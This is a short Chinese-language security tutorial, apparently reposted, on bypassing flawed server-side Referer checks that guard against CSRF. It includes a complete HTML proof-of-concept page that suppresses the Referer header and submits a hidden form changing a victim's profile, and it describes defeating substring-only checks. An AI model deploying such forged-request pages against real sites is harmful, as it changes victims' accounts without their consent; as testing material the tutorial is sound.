CSRF繞過后端Referer校驗



CSRF繞過后端Referer校驗分正常情況和不正常的情況,我們這里主要討論開發在寫校驗referer程序時,不正常的情況下怎么進行繞過。

正常情況

正常的情況指服務器端校驗Referer的代碼沒毛病,那么意味着前端是無法繞過的。

我之前考慮過的方案:

  • JS修改Referer,失敗;
  • 讓用戶點擊第三方網站,但是瀏覽器就使用第三方網站的referer,失敗;

不正常的情況

不正常的情況指服務器端校驗Referer的代碼有漏洞,前端才能做到繞過,下面介紹幾個可能會繞過Referer的案例;

添加無Referer標簽

可以嘗試無Referer標簽,萬一邏輯剛好沒判斷無Referer的情況呢;

<meta name="referrer" content="never">

<html>
  <meta name="referrer" content="never">
  <body>
  <script>history.pushState('', '', '/')</script>  <!-- 實現瀏覽器頁面不刷新修改url鏈接 -->
    <form action="http://www.baidu.com/setProfile" method="POST">
      <input type="hidden" name="nickname" value="new22" />
      <input type="hidden" name="email" value="1&#64;1&#46;com" />
      <input type="hidden" name="team" value="new22" />
      <input type="hidden" name="address" value="new33" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

只判斷是否包含

只判斷是否包含的話,那么在建站的時候,Web站點路徑帶着referer的字段名就可以做到繞過了,


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM